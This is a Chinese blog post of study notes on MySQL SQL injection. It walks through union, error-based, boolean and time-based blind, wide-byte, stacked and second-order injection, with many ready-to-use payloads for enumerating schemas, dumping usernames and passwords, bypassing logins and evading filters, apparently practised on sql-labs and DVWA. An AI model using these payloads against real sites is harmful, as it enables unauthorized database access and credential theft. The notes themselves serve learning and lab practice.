SQL注入

SQL注入

原理:

在数据进行交互的时候,用户在前端传入的数据传入到后台处理的时候,由于后端没有进行做严格的过滤/判断,导致其传入的“数据(data)”拼接到后端sql数据库查询语句当中,被当做SQL语句的一部分执行,其本质就是把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则

种类:

字符型注入,数字型注入,布尔注入,报错型注入,延时型注入,堆叠型注入,宽字节型注入,XFF型注入,联合型注入

危害:

1:用户能控制输入的内容;

2:web应用把用户输入的内容带入到数据库执行;

3:盗取网站的敏感信息; 4:绕过网站后台认证 后台登录语句: SELECT * FROM admin WHERE Username=‘user’ and Password=‘pass’ 万能密码: ‘or ‘1’=’1# ; 5:借助SQL注入漏洞提权获取系统权限; 6:读取文件信息。

MYSQL数据库

常使用的数据库:

user()

返回当前使用数据库的用户,也就是网站配置文件中连接数据库的账号

version()

返回当前版本信息

database()

返回当前使用的数据库,只有在use命令选择一个数据库之后,才能查到

group_concat()

把数据库中的某列数据或某几列数据合并为一个字符串

@@datadir 数据库路径

@@version_compile_os 操作系统版本

schema_name和information_schema.schemata

information_schema.schemata是mysql默认系统库,存储 MySQL 实例中所有数据库(在 MySQL 里,模式 schema 等同于数据库 )的相关信息,类似数据库的目录,可用于查询数据库元数据。比如使用 SELECT schema_name FROM information_schema.schemata; 能获取所有数据库名称列表 。

schema_name:它代表数据库(在 MySQL 中,数据库也可称为模式 schema )的名称 。通过查询 information_schema.schemata 表中的 schema_name 列,可以获取当前 MySQL 实例中所有数据库的名称列表。

MYSQL数据库注入的流程

1、判断有无闭合 and 1=1 and 1=2 //结果和第一个一样说明需要闭合,反之无闭合 有闭合则需要用到 –+闭合 2、猜解字段 order by 10 //采用二分法 3、判断数据回显位置 -1 union select 1,2,3,4,5…. //参数等号后面加-表示不显示当前数据 3、获取当前数据库名、用户、版本 union select version(),database(),user(),4……

4、获取全部数据库名

union select 1,2,(select group_concat(schema_name)from information_schema.schemata)

5、获取表名

union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='库名'

6、获取字段名

union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='表名'

7、获取数据 union select 1,2,(select group_concat(字段1,字段2)from 库名.表名 函数名称: 函数功能:

查 库: select schema_name from information_schema.schema
查 表: select table_name from information_schema.tables where table\_schema=库名
查 列: select column_name from information_schema.columns where table\_name=表名
查数据: select 列名 from 库名.表名

SQL注入思路

判断注入点

在GET参数、POST参数、Cookie、Referer、XFF、UA等地方尝试插入代码、符号或语句,尝试是否存在数据库参数读取行为,以及能否对其参数产生影响,如产生影响则说明存在注入点。

sql注入点类型

1.get注入 在get传参时写入参数,将SQl语句闭合,后面加写入自己的SQL语句。 2.post注入 通过post传参,原理与get一样,重要的是判断我们所输入的信息是否与数据库产生交互,其次判断SQL语句是如何闭合的。 有些网站通过查询cookie判断用户是否登录,需要与数据库进行交互,我们可以修改cookie的值,查找我们所需要的东西。或者通过报错注入是网页返回报错信息。 3.Referer注入 Referer正确写法应该是Referrer,因为http规定时写错只能将错就错,有些网站会记录ip和访问路径,例如百度就是通过Referer来统计网站流量,我们将访问路径进行SQL注入,同样也可以得到想要的信息。 4.XFF注入 在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9′ ,用户在注册的时候,如果存在安全隐 患,会出现错误页面或者报错。从而导致注册或者登录用户失败。 burpsuite 抓包,提交输入检测语句:

X-Forwarded-for: 127.0.0.1'and 1=1#
X-Forwarded-for: 127.0.0.1'and 1=2# //两次提交返回不一样,存在 SQL 注入漏洞

5.UA注入

输入点在User-Agent

判断数据库的类型

判断网站使用的是哪个数据库,常见数据库如: MySQL、MSSQL(即SQLserver)、Oracle、Access、PostgreSQL、db2等等

方法:

● 使用数据库特有的函数来判断 ● 使用数据库专属符号来判断,如注释符号、多语句查询符等等 ● 报错信息判断 ● 数据库特性判断

端口扫描

如果可以对主机进行端口扫描,可以根据是否开启对应端口,来大概判断数据库类型。 Oracle 默认端口号:1521 SQL Server 默认端口号:1433 MySQL 默认端口号:3306 PostgreSql 默认端口号:5432

网站类型与数据库的联系

asp:SQL Server,Access .net :SQL Server php:Mysql,PostgreSql java:Oracle,Mysql

根据注释符判断

“#”是MySQL中的注释符,返回错误说明该注入点可能不是MySQL,另外也支持’– ‘,和/* */注释(注意mysql使用– 时需要后面添加空格)

“null”和“%00”是Access支持的注释。

“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。

“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。

判断参数数据类型

通过+1、-1、and 1=1、and 1=2、注释符。与其各种变种如与各种符号结合的and 1=1、and ‘1’=’1等等判断参数数据类型。先判断是否是整型,如果不是整型则为字符型,字符型存在多种情况,需要使用单引号【’】、双引号【”】、括号【()】多种组合方式进行试探。 类似判断闭合方式

举个栗子:id=1 and 1=1回显正常 id=1 and1=2回显错误(判断为整形)
id=1 and 1=1和id=1 and 1=2回显正常(判断为字符型接下来判断闭合方式)
id=1' and '1'='1回显正确id=1' and '1'='2回显错误(判断为【'】闭合)
id=1" and "1"="1 回显正常 id=1" and "1"="2回显错误(判断为【"】闭合)
【原因同上】
判断为闭合方式为【'】型
以上注入不成功的时候尝试
1%df’ 此为宽字节注入
参数类型一般有数值型,字符型
数值型

前端页面输入的参数是数字,而后端对应的SQL语句如下

字段类型是数值型,这种就是数值型注入。
select * from user where id = 1; 写入and1=1 与and1=2回显不相同说明后面的and1=1和and1=2对网页造成了影响,判断为数值型
字符型

前台页面输入的参数是字符串。后台对应的SQL如下,字段类型是字符型,这种就是字符型注入。

select * from user where username = 'zhangsan' and password = '123abc';(这里的*是进行正则匹配)

字符可以使用单引号包裹,也可以使用双引号包裹,当然还有一些其他的,比如括号包裹(当然还可以任意匹配,比如’+))

select * from user where username = 'zhangsan';
select * from user where username = "zhangsan";
select * from user where username = (zhangsan);

判断数据库语句过滤情况

正常输入sql语句如果通过查看回显来判断语句是否被过滤

判断列数

如果order by被过滤则尝试绕过,如果无法绕过就无法得到列数,这时就无法使用联合查询注入。

判断显示位

如果页面没有显示位,同样无法使用联合查询注入。

报错信息

如果没有报错信息返回,则无法使用报错注入。

绕过过滤

正常进行sql注入,通过回显来判断数据是否被过滤

过滤关键字
分割
sel<>ect sel/**/ect 但是不知道为什么我的phpstudy里面的mysql里面出不来(求大佬解释)
双写
selselectect
编码绕过
url编码绕过
16进制编码绕过
ASCII编码绕过
过滤逗号
简单注入可以使用join方法绕过
union select 1,2,3 -> union select * from (select 1)a join (select 2)b join (select 3)
对于盲注的那几个函数substr(),mid(),limit
substr和mid()可以使用from for的方法解决
substr(str from pos for len) //在str中从第pos位截取len长的字符
mid(str from pos for len)//在str中从第pos位截取len长的字符
limit可以用offset的方法绕过
limit 1 offset 1
使用substring函数也可以绕过
substring(str from pos) //返回字符串str的第pos个字符,索引从1开始
过滤空格
(1)双空格 
(2)/**/
(3)用括号绕过
(4)用回车代替 //ascii码为chr(13)&chr(10),url编码为%0d%0a
过滤等号
如果等号被过滤了我们可以用 like 代替
使用like 、rlike 、regexp 或者 使用< 或者 >
过滤大于小于号
盲注中我们经常需要用到比较符,如果他们被过滤了,我们可以用以下几种方法绕过:
1)greatest(n1,n2,n3,...) //返回其中的最大值
(2)strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1
(3)in 操作符
(4)between   and //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。
等价函数绕过
hex()、bin() ==> ascii() 
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 
或者: substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

根据注入情况使用注入方式

使用id=1进行尝试尝试 继续使用order by 查询显示位 union select 1,2,3 查询无显示,即无法得到显示位或无法得到列数时放弃使用联合查询 尝试使用报错语句?id=1′ and updatexml(1,concat(0x7e,database(),0x7e),1) –+等没有报错信息显示时放弃使用报错注入 尝试使用布尔盲注和时间盲注(建议使用工具进行注入)

联合型注入

前提:知道列数且页面上有显示位。 判断显示位、获取所有数据库名、获取指定数据库所有表名、获取指定数据库指定表中所有字段名、获取具体数据。当然在具体操作里面

我们通常会这样:id=-1 union select 1,2,database();
但是为什么要把id设置为负数呢?
由于我们的语句是插入到原有语句后面,这样就会出现两个SQL语句同时执行,由于SQL查询会默认返回一行数据,所以我们插入的第二行语句的结果就不会被返回,只会返回原有的SQL语句的查询内容。
要让数据库查询我们插入的语句,需要让原有SQL语句产生查询错误,注意:查询错误不是语法错误,查询错误只会返回空,不会让语句报错。
所以我们可以使id=0或id=-1,零或负数不会被用作id值,它插入进去一定导致原有SQL语句查询结果为空,我们插入的SQL语句的结果就会被返回。
报错型注入

前提:页面会显示数据库报错信息。 得到报错信息、获取所有数据库名、获取指定数据库所有表名、获取指定数据库指定表中所有字段名、获取具体数据。 数据库名

这个就需要使用一些函数了
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)/extractvalue这个函数 --+还有其他姿势后面会补充的
?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
由于无法像联合查询一样一次性看到所有数据库名称,就需要使用limit参数逐个查询:
?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
指定数据库中表名:
?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
指定数据库中指定表中所有字段名
?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
具体数据
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina'))))--+
或使用limit挨个遍历
?id=1' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password) as char),0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
布尔盲注

情况:没有显示位、没有报错信息,但是有SQL语句执行错误信息输出的场景,仅仅通过报错这一行为去判断SQL注入语句是否执行成功。(当然也可以写脚本,但是我不会,还需要练习)

爆库名长度
根据库名长度爆库名
对当前库爆表数量
根据库名和表数量爆表名长度
根据表名长度爆表名
对表爆列数量
根据表名和列数量爆列名长度
根据列名长度爆列名
根据列名爆数据值
数据库长度
?id=1' and (length(database()))>7 --+   
?id=1' and (length(database()))>8 --+
根据库名长度爆库名
?id=1 and substring(database(),2,1)='$$'
mid(str,pos,len)    
对当前库爆表数量
1 and (select count(table_name) from information_schema.tables where table_schema=database())=$$
根据库名和表数量爆表名长度
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=$$ 第一张表 
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=$$ 第二张表
猜表的名称
1' and ascii(substr((select table_name from information_schema.tables where table_schema="database()" limit 0,1),1,1)) = $$ # 第一张表的第一个名称
猜列的数量(需要用到上述得到的表名)
1' and (select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='表名')=数字 #
猜列名的长度
1' and length(substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='表名' limit 列的数量,1 ),1))=长度数字#
列的名称
1' and ascii(substr( ( select column_name from information_schema.columns where table_schema='dvwa' and table_name='表名' limit 列的数量,1 ) ,1~列名的长度,1) )=ASCII码# 
猜测数据内容
1' and ascii(substr((select 列名 from 表名 limit 0~数据个数-1,1),1~数据名称长度,1))=ASCII码 #

上面的中间少了判断长度的判断,请见谅

时间盲注

前提:页面上没有显示位,也没有输出SQL语句执行错误信息。 正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒。 缺点:因为是通过sleep()函数影响的响应时间来判断语句是否执行,所以比布尔盲注更慢,真实环境下时间盲注一个注入点需要跑大概五六个小时。和布尔的流程一样,只不过加了一个sleep函数的使用

基本上sql注入的种类差不多就是以上三种以及外加一些格式,比如宽字节要使用%df进行闭合,而UA头,xff只是在不同的位置进行注入,类型不变,关于其他数据库的注入以后更新,此blog主要讲解mysql数据库的注入

宽字节注入

宽字节是相对于ascII这样单字节而言的,像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,实际上只有两字节。GBK 是一种多字符的编码,通常来说,一个 gbk 编码汉字,占用2个字节。一个 utf-8 编码的汉字,占用3个字节。

原理:通常情况下,SQL注入点是通过单引号来识别的。但当数据经过 addslashes() 处理时,单引号会被转义成无功能性字符,在判断注入点时失效。攻击者利用宽字节字符集(如GBK)将两个字节识别为一个汉字,绕过反斜线转义机制,并使单引号逃逸,实现对数据库查询语句的篡改。

转义函数addslashes():为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义;宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。

堆叠注入

原理:

mysql数据库sql语句的默认结束符是以;结尾,在执行多条SQL语句时就要使用结束符隔开,那么在;结束一条sql语句后继续构造下一条语句,一起执行注入语句

条件:

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法,例如php中的mysqli_multi_query函数。但与之相对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是

1、目标存在sql注入漏洞
2、目标未对”;”号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句

使用分号 ‘;’ 成堆的执行sql注入语句,首先先发现存在SQL注入,然后使用;分别执行SQL语句,常见的就是直接改账号和密码。

二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

就感觉有点像逻辑漏洞了,在sql-labs24关的时候,注册admin’#的账号,然后修改密码,由于admin’#闭合了前面的’号,导致后端认为是admin账号在修改密码,于是发现admin’#的账号的密码没有被改,而是admin的密码被改了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇